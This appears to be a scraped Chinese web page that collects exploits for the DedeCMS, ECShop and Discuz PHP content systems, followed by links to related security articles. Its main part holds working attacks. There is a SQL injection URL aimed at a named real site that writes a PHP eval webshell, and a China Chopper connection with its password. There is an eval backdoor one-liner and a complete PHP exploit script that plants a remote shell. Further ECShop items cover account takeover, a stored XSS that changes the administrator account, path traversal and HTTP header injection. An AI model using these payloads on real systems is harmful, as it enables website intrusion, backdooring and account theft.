http://www.189fy.com//plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96 接着访问访问http://www.189fy.com/plus/mytag_js.php?aid=9013 生成一句话木马. 菜刀连接 http://www.189fy.com/plus/90sec.php 密码 guige 菜刀成功连接之 后门 v5.7 @eval(file_get_contents('php://input')) exp -- php exp.php IP/dede7/ 密码: cmd php $host=$argv[1]; $path=$argv[2]; $path=$path."plus/car.php"; $url=$path; if(count($argv) <3 ){ print_r(' Usage: php '.$argv[0].' host path Example: php '.$argv[0].' www.site.com /dede/ 作者:舞林 http://t.qq.com/wulinlw 修改:小逸 '); exit; } $data='$a=${@phpinfo()};'; $buffer = POST($host,80,$url,$data,30); preg_match("/allow_url_fopen/i", $buffer, $arr_suc); $str="allow_url_fopen"; if($arr_suc[0]==$str) { echo "Congratulations,target exist this bug.\n"; $data='$a=${@file_put_contents("dst.php","")};'; $buffer = POST($host,80,$url,$data,30); echo "shell:http://$host$argv[2]plus/dst.php,pass:cmd."; } else { echo "Sorry,target may not exist this bug."; exit; } function POST($host,$port,$path,$data,$timeout, $COOKIE='') { $buffer=''; $fp = fsockopen($host,$port,$errno,$errstr,$timeout); if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); else { fputs($fp, "POST $path HTTP/1.0\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($data)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data."\r\n\r\n"); while(!feof($fp)) { $buffer .= fgets($fp,4096); } fclose($fp); } return $buffer; } ?> 全局变量覆盖漏洞 /include/common.inc.php

ECShop

(1)

Date:2010-9
post发送Ajax修改个人资料,如修改邮箱为可操作的邮箱,然后密码找回账号盗号


http://localhost/test/ecshop_gbk272/category.php?id=3&price_min=0&price_max=0&filter_attr=**.**.**.**"><"


(2)
Date:2010-9
Ecshop2.7.2持久型XSS(可获得管理员帐号)
密码保护问题这一项,没有使用正则过滤,在密码保护问题里输入XSS,但是后台查看会员资料是不显示密码保护问题的,所以这里必须要网站后台添加了新的 “会员注册项”时,后台查看资料就会显示了,此处填入一段引入外部js的代码:">
外部test.js文件内容如下:
Ajax.call('privilege.php?act=update','id=1&user_name=heihei&email=10001@**.**.**.**','',"POST","JSON");



2
.x/3.x SQL注入/任意代码执行漏洞
路径遍历
http://localhost/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

RCE
http://localhost/test/ecshop/affiche.php?act=js&type=3&from=xxx&ad_id=1&charset=GBK%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0A%0D%0AContent-Type:%20text/html%0D%0A%0D%0AContent-Length:%2035%0D%0A%0D%0A%3Chtml%3Exxx%3C/html%3E%0D%0A%0D%0A

DISCUZ

https://www.discuz.1314study.com/f/614.html

推荐阅读
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板
    本文介绍了在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板的方法和步骤,包括将ResourceDictionary添加到页面中以及在ResourceDictionary中实现模板的构建。通过本文的阅读,读者可以了解到在Xamarin XAML语言中构建控件模板的具体操作步骤和语法形式。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • GSIOpenSSH PAM_USER 安全绕过漏洞
    漏洞名称:GSI-OpenSSHPAM_USER安全绕过漏洞CNNVD编号:CNNVD-201304-097发布时间:2013-04-09 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • loader资源模块加载器webpack资源模块加载webpack内部(内部loader)默认只会处理javascript文件,也就是说它会把打包过程中所有遇到的 ... [详细]
author-avatar
素子花开365
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有